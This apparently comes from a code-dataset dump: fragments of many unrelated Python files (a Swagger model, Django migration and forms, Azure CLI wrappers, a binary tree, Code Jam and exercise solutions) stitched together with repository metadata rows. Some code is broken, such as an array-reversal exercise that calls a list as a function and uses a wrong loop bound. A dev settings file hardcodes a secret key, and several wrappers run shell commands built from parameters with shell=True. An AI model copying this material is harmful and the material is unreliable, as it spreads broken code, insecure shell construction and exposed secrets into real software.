:param inflation_rate_change: The inflation_rate_change of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_rate_change = inflation_rate_change
@property
def inflation_max(self):
"""Gets the inflation_max of this InlineResponse2006. # noqa: E501
:return: The inflation_max of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_max
@inflation_max.setter
def inflation_max(self, inflation_max):
"""Sets the inflation_max of this InlineResponse2006.
:param inflation_max: The inflation_max of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_max = inflation_max
@property
def inflation_min(self):
"""Gets the inflation_min of this InlineResponse2006. # noqa: E501
:return: The inflation_min of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_min
@inflation_min.setter
def inflation_min(self, inflation_min):
"""Sets the inflation_min of this InlineResponse2006.
:param inflation_min: The inflation_min of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_min = inflation_min
@property
def goal_bonded(self):
"""Gets the goal_bonded of this InlineResponse2006. # noqa: E501
:return: The goal_bonded of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._goal_bonded
@goal_bonded.setter
def goal_bonded(self, goal_bonded):
"""Sets the goal_bonded of this InlineResponse2006.
:param goal_bonded: The goal_bonded of this InlineResponse2006. # noqa: E501
:type: str
"""
self._goal_bonded = goal_bonded
@property
def unbonding_time(self):
"""Gets the unbonding_time of this InlineResponse2006. # noqa: E501
:return: The unbonding_time of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._unbonding_time
@unbonding_time.setter
def unbonding_time(self, unbonding_time):
"""Sets the unbonding_time of this InlineResponse2006.
:param unbonding_time: The unbonding_time of this InlineResponse2006. # noqa: E501
:type: str
"""
self._unbonding_time = unbonding_time
@property
def max_validators(self):
"""Gets the max_validators of this InlineResponse2006. # noqa: E501
:return: The max_validators of this InlineResponse2006. # noqa: E501
:rtype: int
"""
return self._max_validators
@max_validators.setter
def max_validators(self, max_validators):
"""Sets the max_validators of this InlineResponse2006.
:param max_validators: The max_validators of this InlineResponse2006. # noqa: E501
:type: int
"""
self._max_validators = max_validators
@property
def bond_denom(self):
"""Gets the bond_denom of this InlineResponse2006. # noqa: E501
:return: The bond_denom of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._bond_denom
@bond_denom.setter
def bond_denom(self, bond_denom):
"""Sets the bond_denom of this InlineResponse2006.
:param bond_denom: The bond_denom of this InlineResponse2006. # noqa: E501
:type: str
"""
self._bond_denom = bond_denom
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(InlineResponse2006, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, InlineResponse2006):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
[
"lauraweindorf@gmail.com"
] |
lauraweindorf@gmail.com
|
eccf709bc85d1da00c645964d906df42ca0dd0af
|
52b5773617a1b972a905de4d692540d26ff74926
|
/.history/reverseA_20200714202827.py
|
c8528cea3532a5e29a64703e1b1f20412489e57a
|
[] |
no_license
|
MaryanneNjeri/pythonModules
|
56f54bf098ae58ea069bf33f11ae94fa8eedcabc
|
f4e56b1e4dda2349267af634a46f6b9df6686020
|
refs/heads/master
| 2022-12-16T02:59:19.896129
| 2020-09-11T12:05:22
| 2020-09-11T12:05:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 282
|
py
|
'''
Given array A consisting of N integers, return the reversed array
'''
def array(arr):
i = 0
j = len(arr)-1
while i < len(arr)-2 and j > 0:
temp = arr[i]
arr[i] = arr[j]
arr[j] = temp
i +=1
j -=1
arr([1, 2, 3, 4, 5, 6])
|
[
"mary.jereh@gmail.com"
] |
mary.jereh@gmail.com
|
5113f8bf9f0595543e85f6a8f9655e1f589b4282
|
6d724d9326ede63fd940cc5d39920f38d987e716
|
/shop/migrations/0004_orders_orderupdate.py
|
9b38da972769d22736faa52aba4630c6afddc452
|
[] |
no_license
|
Alan-thapa98/mac
|
5dea8254276ce79fd7f11e20772b43e3a9943602
|
a5317bcb1d6b1fde9b726dc2b0c99ddd85f18b45
|
refs/heads/master
| 2023-07-11T05:45:05.075152
| 2021-07-30T12:00:02
| 2021-07-30T12:00:02
| 391,047,535
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,370
|
py
|
# Generated by Django 3.1.2 on 2021-01-24 12:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('shop', '0003_contact'),
]
operations = [
migrations.CreateModel(
name='Orders',
fields=[
('order_id', models.AutoField(primary_key=True, serialize=False)),
('items_json', models.CharField(max_length=5000)),
('amount', models.IntegerField(default=0)),
('name', models.CharField(max_length=90)),
('email', models.CharField(max_length=111)),
('address', models.CharField(max_length=111)),
('city', models.CharField(max_length=111)),
('state', models.CharField(max_length=111)),
('zip_code', models.CharField(max_length=111)),
('phone', models.CharField(default='', max_length=111)),
],
),
migrations.CreateModel(
name='OrderUpdate',
fields=[
('update_id', models.AutoField(primary_key=True, serialize=False)),
('order_id', models.IntegerField(default='')),
('update_desc', models.CharField(max_length=5000)),
('timestamp', models.DateField(auto_now_add=True)),
],
),
]
|
[
"alanthapa98.gmail.com"
] |
alanthapa98.gmail.com
|
d3a903414652662f91ef2a9f09ed1a87342d49bf
|
15f321878face2af9317363c5f6de1e5ddd9b749
|
/solutions_python/Problem_201/436.py
|
78e4a99556ff805c431b31596155fa8617440523
|
[] |
no_license
|
dr-dos-ok/Code_Jam_Webscraper
|
c06fd59870842664cd79c41eb460a09553e1c80a
|
26a35bf114a3aa30fc4c677ef069d95f41665cc0
|
refs/heads/master
| 2020-04-06T08:17:40.938460
| 2018-10-14T10:12:47
| 2018-10-14T10:12:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,143
|
py
|
f = open('C:\\Users\\djspence\\Downloads\\C-large.in', 'r')
tries = int(f.readline())
for case in range(0, tries):
lengths = {}
vals = f.readline().strip().split(' ')
n = int(vals[0])
remaining = int(vals[1])
lengths[n] = 1
small = 0
large = 0
while remaining > 0:
lk = lengths.keys()
maxLen = max(lk)
num = lengths[maxLen]
del lengths[maxLen]
if maxLen%2 == 1:
small = maxLen/2
large = maxLen/2
if small in lk:
lengths[small]=lengths[small]+2*num
else:
lengths[small]=2*num
else:
small = maxLen/2-1
large = maxLen/2
if small in lk:
lengths[small]=lengths[small]+num
else:
lengths[small]=num
if large in lk:
lengths[large]=lengths[large]+num
else:
lengths[large]=num
remaining = remaining - num
print("Case #" + str(case+1)+": " + str(large) + " " + str(small))
|
[
"miliar1732@gmail.com"
] |
miliar1732@gmail.com
|
1898f53db1e53665c6f69f9ef8b54411b060dd23
|
75983ccc6e1eba55890429baace2bf716ac4cf33
|
/python/tvm/relay/ir_pass.py
|
84189c840d71a5dccdc08b92a22eb837b2fb5405
|
[
"Apache-2.0"
] |
permissive
|
clhne/tvm
|
49c8be30c87791d5e8f13eea477620a829573d1c
|
d59320c764bd09474775e1b292f3c05c27743d24
|
refs/heads/master
| 2020-03-29T21:16:30.061742
| 2018-09-25T19:15:15
| 2018-09-25T19:15:15
| 150,358,639
| 1
| 0
|
Apache-2.0
| 2018-09-26T02:41:46
| 2018-09-26T02:41:45
| null |
UTF-8
|
Python
| false
| false
| 372
|
py
|
# pylint: disable=no-else-return,
# pylint: disable=unidiomatic-typecheck
"""The set of passes for Relay.
Exposes an interface for configuring the passes and scripting
them in Python.
"""
from . import _ir_pass
# Expose checking expression, should rename to infer_type.
# pylint: disable=invalid-name
check_expr = _ir_pass.check_expr
well_formed = _ir_pass.well_formed
|
[
"tqchen@users.noreply.github.com"
] |
tqchen@users.noreply.github.com
|
2a04c078859847f83b2a810252c0bd0a2a0367e9
|
da052c0bbf811dc4c29a83d1b1bffffd41becaab
|
/core/web_debranding/__manifest__.py
|
2626a321be85b590c2375e95e0b69f7ad52c0bfc
|
[] |
no_license
|
Muhammad-SF/Test
|
ef76a45ad28ac8054a4844f5b3826040a222fb6e
|
46e15330b5d642053da61754247f3fbf9d02717e
|
refs/heads/main
| 2023-03-13T10:03:50.146152
| 2021-03-07T20:28:36
| 2021-03-07T20:28:36
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 824
|
py
|
# -*- coding: utf-8 -*-
{
'name': "Backend debranding",
'version': '1.1.1',
'author': 'IT-Projects LLC, Ivan Yelizariev',
'license': 'LGPL-3',
'category': 'Debranding',
'images': ['images/web_debranding.png'],
'website': 'https://twitter.com/yelizariev',
'price': 150.00,
'currency': 'EUR',
'depends': [
'web',
'mail',
'web_planner',
'access_apps',
'access_settings_menu',
'mail_base',
],
'data': [
'security/web_debranding_security.xml',
'security/ir.model.access.csv',
'data.xml',
'views.xml',
'js.xml',
'pre_install.yml',
],
'qweb': [
'static/src/xml/web.xml',
],
'auto_install': False,
'uninstall_hook': 'uninstall_hook',
'installable': True
}
|
[
"jbalu2801@gmail.com"
] |
jbalu2801@gmail.com
|
db166c5dcc339e356cf775d43a928a65440502ce
|
7130a96ef7c2199cdb52406069fdc5e015760d70
|
/components/docker/block/SPResnetBlockV2.py
|
858733a371f31bb60c735dd0184b8db52d6b793f
|
[] |
no_license
|
yanqinghao/AiLab-Pytorch
|
c37e8f47241d7f1a003226b2a19b9406ff7f6f9b
|
ceea8a1196dca4d219a099cbaedcecf7c3f96564
|
refs/heads/master
| 2021-07-08T07:15:29.801492
| 2020-10-23T06:14:34
| 2020-10-23T06:14:34
| 198,990,470
| 0
| 0
| null | 2019-08-14T09:23:00
| 2019-07-26T09:40:58
|
Python
|
UTF-8
|
Python
| false
| false
| 734
|
py
|
# coding=utf-8
from __future__ import absolute_import, print_function
import suanpan
from suanpan.app.arguments import Int
from suanpan.app import app
from args import PytorchLayersModel
from utils import getLayerName, net
@app.input(PytorchLayersModel(key="inputModel"))
@app.param(Int(key="inplanes", default=64))
@app.param(Int(key="planes", default=64))
@app.output(PytorchLayersModel(key="outputModel"))
def SPResnetBlockV2(context):
args = context.args
model = args.inputModel
name = getLayerName(model.layers, "ResnetBlockV2")
setattr(model, name, net.ResnetBlockV2(args.inplanes, args.planes))
model.layers[name] = getattr(model, name)
return model
if __name__ == "__main__":
suanpan.run(app)
|
[
"woshiyanqinghao@gmail.com"
] |
woshiyanqinghao@gmail.com
|
c7049fd951803d6bc6f19109023f9ea5c5d783c2
|
a3e4cc590667c444460d3a1f659f53f907da1783
|
/azure/mgmt/blueprint/models/assignment_deployment_job_result_py3.py
|
52b07be3a07c2f65071a62d8c0a9f5ad292585ef
|
[] |
no_license
|
eduardomourar/azure-mgmt-blueprint
|
729d9c08915caab9e8029278da6dc87c4eaa44d6
|
153c3c63cb519350cb68752e07251e1e8ff26510
|
refs/heads/master
| 2020-05-27T02:26:42.436079
| 2019-11-11T11:52:14
| 2019-11-11T11:52:14
| 188,451,854
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,334
|
py
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.serialization import Model
class AssignmentDeploymentJobResult(Model):
"""Result of each individual deployment in a blueprint assignment.
:param error: Contains error details if deployment job failed.
:type error: ~azure.mgmt.blueprint.models.AzureResourceManagerError
:param resources: Resources created as result of the deployment job.
:type resources:
list[~azure.mgmt.blueprint.models.AssignmentJobCreatedResource]
"""
_attribute_map = {
'error': {'key': 'error', 'type': 'AzureResourceManagerError'},
'resources': {'key': 'resources', 'type': '[AssignmentJobCreatedResource]'},
}
def __init__(self, *, error=None, resources=None, **kwargs) -> None:
super(AssignmentDeploymentJobResult, self).__init__(**kwargs)
self.error = error
self.resources = resources
|
[
"eduardo.rodrigues@sentia.com"
] |
eduardo.rodrigues@sentia.com
|
647577be7019d95438e3a5c1aa3b2dcbafb93134
|
c6053ad14e9a9161128ab43ced5604d801ba616d
|
/Public/Public_zqxt_99/__init__.py
|
4f5ee4f58760d9dfb875cffb3773d9d9dbf5771b
|
[] |
no_license
|
HesterXu/Home
|
0f6bdace39f15e8be26031f88248f2febf33954d
|
ef8fa0becb687b7b6f73a7167bdde562b8c539be
|
refs/heads/master
| 2020-04-04T00:56:35.183580
| 2018-12-25T02:48:51
| 2018-12-25T02:49:05
| 155,662,403
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 164
|
py
|
# -*- coding: utf-8 -*-
# @Time : 2018/12/11/10:55
# @Author : Hester Xu
# Email : xuruizhu@yeah.net
# @File : __init__.py.py
# @Software : PyCharm
|
[
"xuruizhu@yeah.net"
] |
xuruizhu@yeah.net
|
bf9b4c55e0e0b67ded0e6452ab8893a773b3fb88
|
d469de9070628b7c56e283066d9122eb73c42dd2
|
/algorithms/data_structures/binary_tree.py
|
7dad06d856241373ca5e8bfd012d65a0b853afdc
|
[] |
no_license
|
Rowing0914/Interview_Prep_Python
|
af26369ccb92c623fc2ac44e62d3f61e94046df6
|
a77a9b2342fbc9fc87b9f3670b0f3ab36f47eac7
|
refs/heads/master
| 2022-11-26T10:22:44.564728
| 2020-08-07T12:06:54
| 2020-08-07T12:06:54
| 269,878,434
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 923
|
py
|
class Node:
def __init__(self, value):
self.l = None
self.r = None
self.v = value
class BinaryTree:
def __init__(self):
self.root = None
def add(self, item):
if self.root == None:
self.root = Node(value=item)
else:
self._add(item, self.root)
def _add(self, item, node):
if item > node.v:
print("right: ", item)
if node.r == None:
node.r = Node(value=item)
else:
self._add(item, node.r)
else:
print("lefft: ", item)
if node.l == None:
node.l = Node(value=item)
else:
self._add(item, node.l)
def printTree(self):
if self.root == None:
print("Nothing")
else:
self._printTree(self.root)
def _printTree(self, node):
if node != None:
self._printTree(node.l)
print(str(node.v) + " ")
self._printTree(node.r)
if __name__ == '__main__':
tree = BinaryTree()
tree.add(3)
tree.add(4)
tree.add(0)
tree.add(8)
tree.add(2)
tree.printTree()
|
[
"kosakaboat@gmail.com"
] |
kosakaboat@gmail.com
|
843d02469e85866f10c030b14a8b34b1ddb154ba
|
cfcd117378664e4bea080b3c1011a25a575b3d51
|
/hawc/apps/vocab/migrations/0004_term_uid.py
|
f894ab0af5c902c93c900e051fb9821419084ebb
|
[
"MIT"
] |
permissive
|
shapiromatron/hawc
|
9d3a625da54d336334da4576bd5dac6915c18d4f
|
51177c6fb9354cd028f7099fc10d83b1051fd50d
|
refs/heads/main
| 2023-08-03T13:04:23.836537
| 2023-08-01T18:39:16
| 2023-08-01T18:39:16
| 25,273,569
| 25
| 15
|
NOASSERTION
| 2023-09-14T17:03:48
| 2014-10-15T21:06:33
|
Python
|
UTF-8
|
Python
| false
| false
| 348
|
py
|
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("vocab", "0003_load_v1"),
]
operations = [
migrations.AddField(
model_name="term",
name="uid",
field=models.PositiveIntegerField(blank=True, null=True, unique=True),
),
]
|
[
"noreply@github.com"
] |
shapiromatron.noreply@github.com
|
d0e245f285f7028136bf38a0f29d170d8c9f4d5a
|
8bb4a472344fda15985ac322d14e8f4ad79c7553
|
/Python3-Core/src/test/prompto/translate/eme/TestCss.py
|
801cb78f8fe015a3e6257711209c57258ee542a1
|
[] |
no_license
|
prompto/prompto-python3
|
c6b356f5af30c6826730ba7f2ad869f341983a2d
|
64bd3d97d4702cc912097d41d961f7ab3fd82bee
|
refs/heads/master
| 2022-12-24T12:33:16.251468
| 2022-11-27T17:37:56
| 2022-11-27T17:37:56
| 32,623,633
| 4
| 0
| null | 2019-05-04T11:06:05
| 2015-03-21T07:17:25
|
Python
|
UTF-8
|
Python
| false
| false
| 767
|
py
|
from prompto.parser.e.BaseEParserTest import BaseEParserTest
class TestCss(BaseEParserTest):
def setUp(self):
super(type(self), self).setUp()
def testCodeValue(self):
self.compareResourceEME("css/codeValue.pec")
def testCompositeValue(self):
self.compareResourceEME("css/compositeValue.pec")
def testHyphenName(self):
self.compareResourceEME("css/hyphenName.pec")
def testMultiValue(self):
self.compareResourceEME("css/multiValue.pec")
def testNumberValue(self):
self.compareResourceEME("css/numberValue.pec")
def testPixelValue(self):
self.compareResourceEME("css/pixelValue.pec")
def testTextValue(self):
self.compareResourceEME("css/textValue.pec")
|
[
"eric.vergnaud@wanadoo.fr"
] |
eric.vergnaud@wanadoo.fr
|
e89461a51e52313d597915885da1df109637baae
|
ae288b9604ee86b471d698023fce03738b578544
|
/lib/system/__init__.py
|
d3474854c5d8888f77545f1a7a11a08f805ffc55
|
[] |
no_license
|
snaress/studio
|
a8421a0772600494859ba86daace4bf499f8e055
|
90f4fc50ca9541c0d70cb381c8002ef8a3ce8087
|
refs/heads/master
| 2021-01-17T05:49:57.193795
| 2016-02-07T13:57:24
| 2016-02-07T13:57:24
| 25,691,833
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 147
|
py
|
import os
#-- Package Var --#
toolPath = os.path.normpath(os.path.dirname(__file__))
toolName = toolPath.split(os.sep)[-1]
toolPack = __package__
|
[
"jln.buisseret@gmail.com"
] |
jln.buisseret@gmail.com
|
d531ac6b14b28efdbcaa7dbcc9edad4029ab4ccf
|
0ff562277646000e7f05c68e18133466effeb962
|
/seq2seq/evaluate.py
|
9356c281bfea4c511ab9d95e5d84048c069e162c
|
[] |
no_license
|
zyxue/bio-seq2seq-attention
|
708fd8a73f69c8564d488c185dba792e3570cbed
|
692614f4d025c78800ecd6c104c430e2bff11edf
|
refs/heads/master
| 2020-04-16T21:34:59.626246
| 2019-02-22T00:42:40
| 2019-02-22T00:42:40
| 165,930,778
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,839
|
py
|
import random
import torch
from seq2seq.plot import plot_attn
# from seq2seq.utils import tensor_from_sentence, get_device
def evaluate(src_lang, tgt_lang, enc, dec, tgt_sos_index, src_seq, seq_len):
with torch.no_grad():
# shape: S X B X 1
src_tensor = tensor_from_sentence(src_lang, src_seq).view(-1, 1, 1)
enc_hid = enc.init_hidden(batch_size=1)
enc_outs, enc_hid = enc(src_tensor, enc_hid)
if enc.bidirectional:
# as the enc_outs has a 2x factor for hidden size, so reshape hidden to
# match that
enc_hid = torch.cat([
enc_hid[:enc.num_layers, :, :],
enc_hid[enc.num_layers:, :, :]
], dim=2)
device = get_device()
dec_in = torch.tensor([[tgt_sos_index]], device=device).view(-1, 1)
dec_hid = enc_hid
dec_outs = []
dec_attns = torch.zeros(seq_len, seq_len)
for di in range(seq_len):
dec_out, dec_hid, dec_attn = dec(dec_in, dec_hid, enc_outs)
dec_attns[di] = dec_attn.view(-1)
topv, topi = dec_out.data.topk(1)
dec_outs.append(tgt_lang.index2word[topi.item()])
dec_in = topi.detach()
return dec_outs, dec_attns[:di + 1]
def evaluate_randomly(src_lang, tgt_lang, enc, dec, tgt_sos_index,
num, iter_idx):
for i in range(num):
src_seq, tgt_seq, seq_len = random.choice(pairs)
print('>', src_seq)
print('=', tgt_seq)
prd_tokens, attns = evaluate(
src_lang, tgt_lang, enc, dec, tgt_sos_index, src_seq, seq_len)
prd_seq = ''.join(prd_tokens)
print('<', prd_seq)
acc = U.calc_accuracy(tgt_seq, prd_seq)
print('acc: {0}'.format(acc))
plot_attn(attns, src_seq, prd_seq, acc, iter_idx)
|
[
"alfred532008@gmail.com"
] |
alfred532008@gmail.com
|
07260035fae3775eccc23a0180c11509e81f5968
|
6b9084d234c87d7597f97ec95808e13f599bf9a1
|
/algorithms/tracker/transt/builder.py
|
f300dc026d1df2f2ed64f5f4be27d71f5490de44
|
[] |
no_license
|
LitingLin/ubiquitous-happiness
|
4b46234ce0cb29c4d27b00ec5a60d3eeb52c26fc
|
aae2d764e136ca4a36c054212b361dd7e8b22cba
|
refs/heads/main
| 2023-07-13T19:51:32.227633
| 2021-08-03T16:02:03
| 2021-08-03T16:02:03
| 316,664,903
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,328
|
py
|
import torch
from models.TransT.builder import build_transt
from algorithms.tracker.transt.tracker import TransTTracker
from data.tracking.methods.TransT.evaluation.builder import build_evaluation_data_processors
def build_transt_tracker(network_config, evaluation_config, weight_path, device):
device = torch.device(device)
model = build_transt(network_config, False)
state_dict = torch.load(weight_path, map_location='cpu')['model']
if network_config['version'] <= 2:
for key in list(state_dict.keys()):
key: str = key
if key.startswith('head.class_embed'):
state_dict[key.replace('head.class_embed', 'head.classification')] = state_dict.pop(key)
elif key.startswith('head.bbox_embed'):
state_dict[key.replace('head.bbox_embed', 'head.regression')] = state_dict.pop(key)
if network_config['backbone']['type'] == 'swin_transformer':
from models.backbone.swint.swin_transformer import _update_state_dict_
_update_state_dict_(state_dict, 'backbone.backbone.')
model.load_state_dict(state_dict)
data_processor, network_post_processor = build_evaluation_data_processors(network_config, evaluation_config, device)
return TransTTracker(model, device, data_processor, network_post_processor)
|
[
"linliting06@live.com"
] |
linliting06@live.com
|
1dbec0cd8d756ebeae9a779507e72fa0e3c38631
|
3d06eeebdd598efba25d29d7e3d03d90ede1bfbd
|
/18_lesson(django)/video-shop/videostore/courses/forms.py
|
25df6a10b202d97a7c1598c18ec17325dee5ec84
|
[] |
no_license
|
duk1edev/itproger
|
58bdd16088dec7864585d318935b118ce584874d
|
786f94fff6d816f3f978bd8c24c3d985ffd5ffb2
|
refs/heads/master
| 2021-01-02T02:43:32.684100
| 2020-03-28T18:10:25
| 2020-03-28T18:10:25
| 239,443,309
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 571
|
py
|
from django import forms
from .models import Course
class CreateCourseForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(CreateCourseForm, self).__init__(*args, **kwargs)
self.fields['slug'].label = 'Название URL'
self.fields['title'].label = 'Название курса'
self.fields['description'].label = 'Описание курса'
self.fields['img'].label = 'Изображение профиля'
class Meta:
model = Course
fields = ['slug', 'title', 'description', 'img']
|
[
"duk1e.ptc.ua@yandex.ru"
] |
duk1e.ptc.ua@yandex.ru
|
70d103be4cf7033045a7bfe4abce7325e7410269
|
e0980f704a573894350e285f66f4cf390837238e
|
/.history/rocketman/settings/dev_20210104181322.py
|
6b33f05fcfb179db48a0b11ba3e3a32f5bde8bef
|
[] |
no_license
|
rucpata/WagtailWebsite
|
28008474ec779d12ef43bceb61827168274a8b61
|
5aa44f51592f49c9a708fc5515ad877c6a29dfd9
|
refs/heads/main
| 2023-02-09T15:30:02.133415
| 2021-01-05T14:55:45
| 2021-01-05T14:55:45
| 303,961,094
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 638
|
py
|
from .base import *
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '0qjdxh8nibnbihjuj9*-%$#kx!i8y^wk6wt(h)@27m1g-9g$)v'
# SECURITY WARNING: define the correct hosts in production!
ALLOWED_HOSTS = ['localhost', 'rocketman.naukawagtail.com']
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
INSTALLED_APPS += [
'debug_toolbar',
]
MIDDLEWARE += [
'debug_toolbar.middleware.DebugToolbarMiddleware',
]
INTERNAL_IPS = [
'127.0.0.1',
]
try:
from .local import *
except ImportError:
pass
|
[
"rucinska.patrycja@gmail.com"
] |
rucinska.patrycja@gmail.com
|
0cb8fe31319034d1b0d7e1d5d9511de51d466943
|
781e2692049e87a4256320c76e82a19be257a05d
|
/all_data/exercism_data/python/anagram/1d85ad5d39ab4551a2af68f5a6bd2b21.py
|
1bbc9ad83b17ae2c9371525d8394a6a6641fbf73
|
[] |
no_license
|
itsolutionscorp/AutoStyle-Clustering
|
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
|
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
|
refs/heads/master
| 2020-12-11T07:27:19.291038
| 2016-03-16T03:18:00
| 2016-03-16T03:18:42
| 59,454,921
| 4
| 0
| null | 2016-05-23T05:40:56
| 2016-05-23T05:40:56
| null |
UTF-8
|
Python
| false
| false
| 529
|
py
|
def detect_anagrams(word, anagrams):
real_anagrams = []
for candidate in anagrams:
# Case insensitive
lower_word = word.lower()
lower_candidate = candidate.lower()
for char in lower_word:
if char in lower_candidate:
lower_candidate = lower_candidate.replace(char, "", 1)
if not lower_candidate and len(candidate) == len(word):
if candidate.lower() != lower_word:
real_anagrams.append(candidate)
return real_anagrams
|
[
"rrc@berkeley.edu"
] |
rrc@berkeley.edu
|
f22577938fc54158f83a3dc1f43cd18d5cfa7cea
|
4a7ede06edbe66f9d1eb485261f94cc3251a914b
|
/test/pyaz/webapp/config/ssl/__init__.py
|
b8b893c526afb4dff9fd44ab4dc16187a35ffb19
|
[
"MIT"
] |
permissive
|
bigdatamoore/py-az-cli
|
a9e924ec58f3a3067b655f242ca1b675b77fa1d5
|
54383a4ee7cc77556f6183e74e992eec95b28e01
|
refs/heads/main
| 2023-08-14T08:21:51.004926
| 2021-09-19T12:17:31
| 2021-09-19T12:17:31
| 360,809,341
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,010
|
py
|
import json, subprocess
from .... pyaz_utils import get_cli_name, get_params
def upload(resource_group, name, certificate_password, certificate_file, slot=None):
params = get_params(locals())
command = "az webapp config ssl upload " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def list(resource_group):
params = get_params(locals())
command = "az webapp config ssl list " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def show(resource_group, certificate_name):
params = get_params(locals())
command = "az webapp config ssl show " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def bind(resource_group, name, certificate_thumbprint, ssl_type, slot=None):
params = get_params(locals())
command = "az webapp config ssl bind " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def unbind(resource_group, name, certificate_thumbprint, slot=None):
params = get_params(locals())
command = "az webapp config ssl unbind " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def delete(resource_group, certificate_thumbprint):
params = get_params(locals())
command = "az webapp config ssl delete " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def import_(resource_group, name, key_vault, key_vault_certificate_name):
params = get_params(locals())
command = "az webapp config ssl import " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def create(resource_group, name, hostname, slot=None):
params = get_params(locals())
command = "az webapp config ssl create " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
|
[
"“bigdatamoore@users.noreply.github.com”"
] |
“bigdatamoore@users.noreply.github.com”
|
cb4b97b896fc5683599a57fe012bcc1fe716bb96
|
b49e7e1fb8557f21280b452b2d5e29668613fe83
|
/leonardo/module/web/widget/feedreader/models.py
|
e2b9999d1a451c50e6f88b523b571787e8d75ef2
|
[
"BSD-2-Clause"
] |
permissive
|
pombredanne/django-leonardo
|
6e03f7f53391c024cfbfd9d4c91bd696adcb361d
|
dcbe6c4a0c296a03c3a98b3d5ae74f13037ff81b
|
refs/heads/master
| 2021-01-17T10:24:09.879844
| 2016-04-06T19:30:05
| 2016-04-06T19:30:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,619
|
py
|
# -#- coding: utf-8 -#-
import datetime
import feedparser
from django.db import models
from django.template.context import RequestContext
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _
